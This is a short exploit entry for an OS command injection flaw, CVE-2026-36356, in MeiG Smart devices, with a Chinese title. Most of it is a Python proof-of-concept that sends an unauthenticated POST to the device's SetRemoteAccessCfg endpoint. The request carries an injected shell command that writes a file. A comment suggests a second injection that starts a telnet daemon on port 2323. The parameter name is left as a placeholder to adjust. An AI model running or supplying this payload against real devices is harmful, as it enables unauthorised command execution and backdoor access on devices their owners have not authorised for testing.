CVE-2026-36356 MeiG Smart设备OS命令注入漏洞

import requests # Target URL url = "http://<TARGET_IP>/action/SetRemoteAccessCfg" # Malicious payload to execute a command (e.g., telnet enable or ping) # Adjust the parameter name based on actual form data, usually 'RemoteEnable' or similar payload = { "parameter": "value; /bin/sh -c 'echo pwned > /tmp/poc.txt'" # or typical injection: "RemoteEnable=1; telnetd -p 2323 &" } try: # Send POST request without authentication response = requests.post(url, data=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the command was executed on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")